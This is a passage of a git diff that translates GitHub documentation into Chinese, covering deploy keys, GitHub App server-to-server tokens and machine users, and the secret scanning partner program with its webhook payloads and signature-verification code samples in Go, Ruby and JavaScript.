passwords, and must be protected the same way. +* 必须确保使用正确的访问范围配置令牌。 +* 令牌本质上是密码,必须以同样的方式进行保护。 -#### Setup +#### 设置 -See [our guide on creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). +请参阅[有关创建个人访问令牌的指南](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)。 -## Deploy keys +## 部署密钥 {% data reusables.repositories.deploy-keys %} {% data reusables.repositories.deploy-keys-write-access %} -#### Pros +#### 优点 -* Anyone with access to the repository and server has the ability to deploy the project. -* Users don't have to change their local SSH settings. -* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. +* 有权访问仓库和服务器的任何人都能够部署项目。 +* 用户不必更改其本地 SSH 设置。 +* 部署密钥默认为只读,但在将其添加到存储库时可授予它们写入权限。 -#### Cons +#### 缺点 -* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. -* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. +* 部署密钥只授予对单个仓库的访问权限。 较复杂的项目可能要将多个仓库拉取到同一服务器。 +* 部署密钥通常不受密码保护,因此在服务器遭到破坏时可轻松访问密钥。 -#### Setup +#### 设置 -1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public and private rsa key pair. -{% data reusables.profile.navigating-to-profile %} +1. 在服务器上[运行 `ssh-keygen` 过程][generating-ssh-keys],并记住保存生成的公共和专用 rsa 密钥对的位置。 +2. 在任意 {% data variables.product.product_name %} 页面的右上角,单击个人资料照片,然后单击“你的个人资料”。 ![个人资料导航](/assets/images/profile-page.png) +3. 在个人资料页上,单击“存储库”,然后单击存储库的名称。 ![存储库链接](/assets/images/repos.png) +4. 在存储库中,单击“设置”。 ![存储库设置](/assets/images/repo-settings.png) +5. 在边栏中,单击“部署密钥”,然后单击“添加部署密钥” 。 ![添加部署密钥链接](/assets/images/add-deploy-key.png) +6. 提供标题,粘贴到公钥中。 ![部署密钥页面](/assets/images/deploy-key.png) +7. 如果希望此密钥具有对存储库的写入权限,请选择“允许写入权限”。 具有写入权限的部署密钥允许将部署推送到仓库。 +8. 单击“添加密钥”。 - ![Navigation to profile](/assets/images/profile-page.png) -1. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png) -2. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png) -3. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png) -4. Provide a title, paste in your public key. ![Deploy Key page](/assets/images/deploy-key.png) -5. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. -6. Click **Add key**. +#### 在一台服务器上使用多个仓库 -#### Using multiple repositories on one server +如果在一台服务器上使用多个仓库,则需要为每个仓库生成专用密钥对。 不能对多个仓库重复使用一个部署密钥。 -If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. - -In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: +在服务器的 SSH 配置文件中(通常为 `~/.ssh/config`),为每个存储库添加别名条目。 例如: ```bash Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 @@ -109,79 +110,79 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif IdentityFile=/home/user/.ssh/repo-1_deploy_key ``` -* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias. -* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. -* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. +* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - 存储库的别名。 +* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - 将主机名配置为与别名一起使用。 +* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - 将私钥分配给别名。 -You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: +然后可以使用主机名的别名通过 SSH 与仓库进行交互,SSH 将使用分配给该别名的唯一部署密钥。 例如: ```bash $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git ``` -## Server-to-server tokens +## 服务器到服务器令牌 -If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. +如果服务器需要访问一个或多个组织的存储库,可以使用 GitHub 应用来定义需要的访问权限,然后从该 GitHub 应用生成 tightly-scoped、server-to-server 令牌 。 服务器到服务器令牌可以扩展到单个或多个仓库,并且可以拥有细致的权限。 例如,您可以生成对仓库内容具有只读权限的令牌。 -Since GitHub Apps are a first class actor on {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for {% data variables.product.prodname_github_apps %}](/developers/apps/rate-limits-for-github-apps). +由于 GitHub 应用程序是 {% data variables.product.product_name %} 上的一类角色,因此服务器到服务器令牌不限于任何 GitHub 用户,这使它们堪比“服务令牌”。 此外,服务器到服务器令牌有专门的速率限制,与它们所依据的组织规模相当。 有关详细信息,请参阅 [{% data variables.product.prodname_github_apps %} 的速率限制](/developers/apps/rate-limits-for-github-apps)。 -#### Pros +#### 优点 -- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API). -- Dedicated rate limits that grow with your organization. -- Decoupled from GitHub user identities, so they do not consume any licensed seats. -- Never granted a password, so cannot be directly signed in to. +- 具有明确定义的权限集和到期时间的严格范围令牌(如果使用 API 手动撤销,则为 1 小时或更短时间)。 +- 随组织而增长的专用速率限制。 +- 与 GitHub 用户身份脱钩,因此他们不消耗任何许可席位。 +- 从未授予密码,因此无法直接登录。 -#### Cons +#### 缺点 -- Additional setup is needed to create the GitHub App. -- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. +- 创建 GitHub 应用程序需要其他设置。 +- 服务器到服务器令牌 1 小时后过期,因此需要重新生成,通常是按需使用代码。 -#### Setup +#### 设置 -1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private. -1. Determine the permissions your GitHub App requires, such as read-only access to repository contents. -1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app). -1. Note your GitHub App `id`. -1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key). -1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization. -1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access. Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). -1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). -1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. +1. 确定您的 GitHub 应用程序是公开的还是私有的。 如果您的 GitHub 应用程序将仅在您组织内的仓库上操作,您可能希望它是私有的。 +1. 确定 GitHub 应用程序所需的权限,例如对仓库内容的只读访问权限。 +1. 通过组织的设置页面创建您的 GitHub 应用程序。 有关详细信息,请参阅[创建 GitHub 应用程序](/developers/apps/creating-a-github-app)。 +1. 记下 GitHub 应用 `id`。 +1. 生成并下载 GitHub 应用程序的私钥,并妥善保管。 有关详细信息,请参阅[生成私钥](/developers/apps/authenticating-with-github-apps#generating-a-private-key)。 +1. 将 GitHub 应用程序安装到需要执行它的仓库中,您可以在组织中的所有仓库上选择性地安装 GitHub 应用程序。 +1. 标识 `installation_id`,它表示 GitHub 应用与其可以访问的组织存储库之间的连接。 每个 GitHub 应用和组织对都最多只有一个 `installation_id`。 可以通过[获取经过身份验证的应用的组织安装](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)来标识此 `installation_id`。 这需要使用 JWT 验证为 GitHub 应用,有关详细信息,请参阅[验证为 GitHub 应用](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)。 +1. 使用相应的 REST API 终结点生成服务器到服务器令牌,[为应用创建安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)。 这需要使用 JWT 验证为 GitHub 应用,有关详细信息,请参阅[验证为 GitHub 应用](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)以及[验证为安装](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)。 +1. 使用此服务器到服务器令牌,通过 REST 或 GraphQL API 或者通过 Git 客户端与您的仓库进行交互。 -## Machine users +## 机器用户 -If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). +如果您的服务器需要访问多个仓库,您可以创建一个新的 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 帐户并附加一个专用于自动化的 SSH 密钥。 由于人们不会使用 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的这个帐户,因此它被称为“机器用户”。 可以将机器用户添加为个人存储库上的[协作者][collaborator](授予读取和写入访问权限),或添加为组织存储库上的[外部协作者][outside-collaborator](授予读取、写入或管理员访问权限),或添加到有权访问其需要自动化的存储库的[团队][team](授予团队权限)。 {% ifversion fpt or ghec %} {% tip %} -**Tip:** Our [terms of service][tos] state: +提示:我们的[服务条款][tos]规定: -> *Accounts registered by "bots" or other automated methods are not permitted.* +> 不允许通过“机器人”或其他自动方法注册帐户。 -This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. +这意味着您不能自动创建帐户。 但是,如果要创建一个机器用户来自动化任务(例如在项目或组织中部署脚本),那就太酷了。 {% endtip %} {% endif %} -#### Pros +#### 优点 -* Anyone with access to the repository and server has the ability to deploy the project. -* No (human) users need to change their local SSH settings. -* Multiple keys are not needed; one per server is adequate. +* 有权访问仓库和服务器的任何人都能够部署项目。 +* 没有(人类)用户需要更改其本地 SSH 设置。 +* 不需要多个密钥;每台服务器一个就足够了。 -#### Cons +#### 缺点 -* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. -* Machine user keys, like deploy keys, are usually not protected by a passphrase. +* 只有组织才能将机器用户限制为只读访问。 个人仓库始终授予协作者读取/写入权限。 +* 机器用户密钥(如部署密钥)通常不受密码保护。 -#### Setup +#### 设置 -1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. -2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. +1. [在服务器上运行 `ssh-keygen` 过程][generating-ssh-keys],并将公钥附加到计算机用户帐户。 +2. 授予机器用户帐户访问要自动化的仓库的权限。 可以通过将帐户添加为 [协作者][collaborator]、[外部协作者][outside-collaborator],或添加到组织中的[团队][team]来执行此操作。 [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/ [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key @@ -191,5 +192,5 @@ This means that you cannot automate the creation of accounts. But if you want to [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization [team]: /articles/adding-organization-members-to-a-team -## Further reading -- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) +## 延伸阅读 +- [配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md b/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md index dfbff80a06..7a62aa0a31 100644 --- a/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md +++ b/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md @@ -1,6 +1,6 @@ --- -title: Secret scanning partner program -intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' +title: 密码扫描合作伙伴计划 +intro: '作为服务提供者,您可以与 {% data variables.product.prodname_dotcom %} 合作,通过密码扫描保护您的密码令牌格式,该扫描将搜索意外提交的密码格式,并且可以发送到服务提供者的验证端点。' miniTocMaxHeadingLevel: 3 redirect_from: - /partnerships/token-scanning @@ -12,146 +12,113 @@ versions: topics: - API shortTitle: Secret scanning +ms.openlocfilehash: f935b849bb43e99fd3959db3920fd4d632bf54f7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145097997' --- +{% data variables.product.prodname_dotcom %} 扫描仓库查找已知的密码格式,以防止欺诈性使用意外提交的凭据。 {% data variables.product.prodname_secret_scanning_caps %} 默认情况下发生在公共仓库上,但仓库管理员或组织所有者可以在私有仓库上启用它。 作为服务提供者,您可以与 {% data variables.product.prodname_dotcom %} 合作,让您的密码格式包含在我们的 {% data variables.product.prodname_secret_scanning %} 中。 -{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}. +在公共仓库中找到密码格式的匹配项时,将发送有效负载到您选择的 HTTP 端点。 -When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice. +在为 {% data variables.product.prodname_secret_scanning %} 配置的私有仓库中找到密码格式的匹配项时,仓库管理员和提交者将收到警报,并且可以查看和管理 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_secret_scanning %} 结果。 有关详细信息,请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)。” -When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)." +本文介绍作为服务提供者如何与 {% data variables.product.prodname_dotcom %} 合作并加入 {% data variables.product.prodname_secret_scanning %} 合作伙伴计划。 -This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program. +## {% data variables.product.prodname_secret_scanning %} 流程 -## The {% data variables.product.prodname_secret_scanning %} process +#### {% data variables.product.prodname_secret_scanning %} 如何在公共仓库中工作 -#### How {% data variables.product.prodname_secret_scanning %} works in a public repository +下图总结了在公共仓库中进行 {% data variables.product.prodname_secret_scanning %} 并将任何匹配项发送到服务提供者的验证端点的流程。 -The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint. +![显示扫描密码并向服务提供者的验证终结点发送匹配项的流程图](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} 流程") -![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow") +## 在 {% data variables.product.prodname_dotcom %} 上加入 {% data variables.product.prodname_secret_scanning %} 计划 -## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %} +1. 联系 {% data variables.product.prodname_dotcom %} 以启动流程。 +1. 识别要扫描的相关密码,并创建正则表达式来捕获它们。 +1. 针对在公共仓库中发现的密码匹配项,创建一个密码警报服务,以便从 {% data variables.product.prodname_dotcom %} 接受包含 {% data variables.product.prodname_secret_scanning %} 消息有效负载的 web 挂钩。 +1. 在密码警报服务中实施签名验证。 +1. 在密码警报服务中实施密码撤销和用户通知。 +1. 提供误报的反馈(可选)。 -1. Contact {% data variables.product.prodname_dotcom %} to get the process started. -1. Identify the relevant secrets you want to scan for and create regular expressions to capture them. -1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %} that contain the {% data variables.product.prodname_secret_scanning %} message payload. -1. Implement signature verification in your secret alert service. -1. Implement secret revocation and user notification in your secret alert service. -1. Provide feedback for false positives (optional). +### 联系 {% data variables.product.prodname_dotcom %} 以启动流程 -### Contact {% data variables.product.prodname_dotcom %} to get the process started +若要开始注册过程,请发送电子邮件到 secret-scanning@github.com。 -To get the enrollment process started, email secret-scanning@github.com. +您将收到有关 {% data variables.product.prodname_secret_scanning %} 计划的详细信息,您需要同意 {% data variables.product.prodname_dotcom %} 的参与条款才能继续。 -You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding. +### 识别您的密码并创建正则表达式 -### Identify your secrets and create regular expressions +要扫描您的密码,{% data variables.product.prodname_dotcom %} 需要您要包含在 {% data variables.product.prodname_secret_scanning %} 计划中的每个密码的以下信息: -To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program: +* 密码类型的唯一、人类可读的名称。 稍后我们将使用它在消息有效负载中生成 `Type` 值。 +* 查找密码类型的正则表达式。 尽可能精确,因为这样可以减少误报的数量。 +* 从 {% data variables.product.prodname_dotcom %} 接收消息的端点的 URL。 对于每个密码类型,这不必是唯一的。 -* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later. -* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives. -* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type. +将此信息发送到 secret-scanning@github.com。 -Send this information to secret-scanning@github.com. +### 创建密码警报服务 -### Create a secret alert service +在您提供给我们的 URL 上创建一个可访问互联网的公共 HTTP 端点。 在公共存储库中找到正则表达式的匹配项时,{% data variables.product.prodname_dotcom %} 将发送 HTTP `POST` 消息到你的终结点。 -Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint. - -#### Example request body - -```json -[ - { - "token":"NMIfyYncKcRALEXAMPLE", - "type":"mycompany_api_token", - "url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt", - "source":"content" - } -] -``` - -The message body is a JSON array that contains one or more objects, with each object representing a single secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. The keys for each secret match are: - -* **token**: The value of the secret match. -* **type**: The unique name you provided to identify your regular expression. -* **url**: The public URL where the match was found (may be empty) -* **source**: Where the token was found on {% data variables.product.prodname_dotcom %}. - -The list of valid values for `source` are: - -* content -* commit -* pull_request_description -* pull_request_comment -* issue_description -* issue_comment -* discussion_body -* discussion_comment -* commit_comment -* gist_content -* gist_comment -* unknown - -### Implement signature verification in your secret alert service - -The HTTP request to your service will also contain headers that we strongly recommend using -to validate the messages you receive are genuinely from {% data variables.product.prodname_dotcom %}, and are not malicious. - -The two HTTP headers to look for are: - -* `GITHUB-PUBLIC-KEY-IDENTIFIER`: Which `key_identifier` to use from our API -* `GITHUB-PUBLIC-KEY-SIGNATURE`: Signature of the payload - -You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. The endpoint -will provide several `key_identifier` and public keys. You can determine which public -key to use based on the value of `GITHUB-PUBLIC-KEY-IDENTIFIER`. - -{% note %} - -**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a {% data variables.product.pat_v1 %} (no scopes required){% ifversion pat-v2 %} or a {% data variables.product.pat_v2 %} (only the automatic public repositories read access required){% endif %} as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)." - -{% endnote %} - -{% note %} - -**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing. - -{% endnote %} - -**Sample HTTP POST sent to verify endpoint** +#### 发送到端点的 POST 示例 ```http POST / HTTP/2 Host: HOST Accept: */* -content-type: application/json -GITHUB-PUBLIC-KEY-IDENTIFIER: f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d -GITHUB-PUBLIC-KEY-SIGNATURE: MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY= -Content-Length: 83 +Content-Type: application/json +GITHUB-PUBLIC-KEY-IDENTIFIER: 90a421169f0a406205f1563a953312f0be898d3c7b6c06b681aa86a874555f4a +GITHUB-PUBLIC-KEY-SIGNATURE: MEQCIA6C6L8ZYvZnqgV0zwrrmRab10QmIFV396gsba/WYm9oAiAI6Q+/jNaWqkgG5YhaWshTXbRwIgqIK6Ru7LxVYDbV5Q== +Content-Length: 0123 -[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}] +[{"token":"NMIfyYncKcRALEXAMPLE","type":"mycompany_api_token","url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt"}] ``` +消息正文是一个 JSON 数组,其中包含一个或多个具有以下内容的对象。 找到多个匹配项时,{% data variables.product.prodname_dotcom %} 可能发送一条包含多个密码匹配项的消息。 您的端点应该能够在不超时的情况下处理包含大量匹配项的请求。 + +* 令牌:机密匹配的值。 +* 类型:提供用于标识正则表达式的唯一名称。 +* URL:匹配项所处的公共提交 URL。 + +### 在密码警报服务中实施签名验证 + +我们强烈建议您在密码警报服务中实施签名验证,以确保您收到的消息确实来自 {% data variables.product.prodname_dotcom %},而不是恶意消息。 + +可以从 https://api.github.com/meta/public_keys/secret_scanning 检索 {% data variables.product.prodname_dotcom %} 机密扫描公钥并使用 `ECDSA-NIST-P256V1-SHA256` 算法验证消息。 + {% note %} -**Note**: The key id and signature from the example payload is derived from a test key. -The public key for them is: - -``` ------BEGIN PUBLIC KEY----- -MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsz9ugWDj5jK5ELBK42ynytbo38gP -HzZFI03Exwz8Lh/tCfL3YxwMdLjB+bMznsanlhK0RwcGP3IDb34kQDIo3Q== ------END PUBLIC KEY----- -``` +注意:向上述公钥终结点发送请求时,可能会达到速率限制。 为了避免达到速率限制,您可以使用下面示例建议的个人访问令牌(无需范围),或使用条件请求。 有关详细信息,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api#conditional-requests)”。 {% endnote %} -The following code snippets demonstrate how you could perform signature validation. -The code examples assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated [{% data variables.product.pat_generic %}](https://github.com/settings/tokens) to avoid hitting rate limits. The {% data variables.product.pat_generic %} does not need any scopes/permissions. +假设您收到以下消息,下面的代码段演示如何执行签名验证。 +代码片段假定已使用生成的 PAT (https://github.com/settings/tokens) 设置名为 `GITHUB_PRODUCTION_TOKEN` 的环境变量以避免达到速率限制。 PAT 不需要任何范围/权限。 -**Validation sample in Go** +{% note %} + +注意:签名是使用原始消息正文生成的。 因此,您也必须使用原始消息正文进行签名验证,而不是解析和串联 JSON,以避免重新排列消息或更改间距,这一点很重要。 + +{% endnote %} + +发送的用于验证终结点的消息示例 +```http +POST / HTTP/2 +Host: HOST +Accept: */* +content-type: application/json +GITHUB-PUBLIC-KEY-IDENTIFIER: 90a421169f0a406205f1563a953312f0be898d3c7b6c06b681aa86a874555f4a +GITHUB-PUBLIC-KEY-SIGNATURE: MEUCIQDKZokqnCjrRtw0tni+2Ltvl/uiMJ1EGumEsp1BsNr32AIgQY1YXD2nlj+XNfGK4rBfkMJ1JDOQcYXxa2sY8FNkrKc= +Content-Length: 0000 + +[{"token":"some_token","type":"some_type","url":"some_url"}] +``` + +Go 中的验证示例 ```golang package main @@ -171,11 +138,11 @@ import ( ) func main() { - payload := `[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}]` + payload := `[{"token":"some_token","type":"some_type","url":"some_url"}]` - kID := "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d" + kID := "90a421169f0a406205f1563a953312f0be898d3c7b6c06b681aa86a874555f4a" - kSig := "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY=" + kSig := "MEUCIQDKZokqnCjrRtw0tni+2Ltvl/uiMJ1EGumEsp1BsNr32AIgQY1YXD2nlj+XNfGK4rBfkMJ1JDOQcYXxa2sY8FNkrKc=" // Fetch the list of GitHub Public Keys req, err := http.NewRequest("GET", "https://api.github.com/meta/public_keys/secret_scanning", nil) @@ -281,7 +248,7 @@ type asn1Signature struct { } ``` -**Validation sample in Ruby** +Ruby 中的验证示例 ```ruby require 'openssl' require 'net/http' @@ -290,14 +257,14 @@ require 'json' require 'base64' payload = <<-EOL -[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}] +[{"token":"some_token","type":"some_type","url":"some_url"}] EOL payload = payload -signature = "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY=" +signature = "MEUCIQDKZokqnCjrRtw0tni+2Ltvl/uiMJ1EGumEsp1BsNr32AIgQY1YXD2nlj+XNfGK4rBfkMJ1JDOQcYXxa2sY8FNkrKc=" -key_id = "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d" +key_id = "90a421169f0a406205f1563a953312f0be898d3c7b6c06b681aa86a874555f4a" url = URI.parse('https://api.github.com/meta/public_keys/secret_scanning') @@ -321,7 +288,7 @@ openssl_key = OpenSSL::PKey::EC.new(current_key) puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp) ``` -**Validation sample in JavaScript** +JavaScript 中的验证示例 ```js const crypto = require("crypto"); const axios = require("axios"); @@ -363,17 +330,17 @@ const verify_signature = async (payload, signature, keyID) => { }; ``` -### Implement secret revocation and user notification in your secret alert service +### 在密码警报服务中实施密码撤销和用户通知 -For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised. +对于公共仓库中的 {% data variables.product.prodname_secret_scanning %},您可以增强密码警报服务,以撤销泄露的密码并通知受影响的用户。 如何在密码警报服务中实现此功能取决于您,但我们建议您考虑 {% data variables.product.prodname_dotcom %}向您发送的公开和泄露示警消息所涉及的任何密码。 -### Provide feedback for false positives +### 提供误报的反馈 -We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at secret-scanning@github.com. +我们在合作伙伴响应中收集有关检测到的各个密码有效性的反馈。 如果你想参加,请发送电子邮件至 secret-scanning@github.com。 -When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats. +向您报告密码时,我们会发送一个 JSON 数组,其中有包含令牌、类型标识符和提交 URL 的每个元素。 当您向我们发送反馈时,您将向我们发送有关检测到的令牌是真凭据还是假凭据的信息。 我们接受以下格式的反馈。 -You can send us the raw token: +您可以向我们发送原始令牌: ``` [ @@ -384,7 +351,7 @@ You can send us the raw token: } ] ``` -You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256: +您还可以使用 SHA-256 对原始令牌执行单向加密哈希后,以哈希形式提供令牌: ``` [ @@ -395,13 +362,13 @@ You may also provide the token in hashed form after performing a one way cryptog } ] ``` -A few important points: -- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both. -- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm. -- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed. +重要事项: +- 您应该只向我们发送令牌的原始形式 ("token_raw") 或哈希形式,而不要同时发送这两种形式。 +- 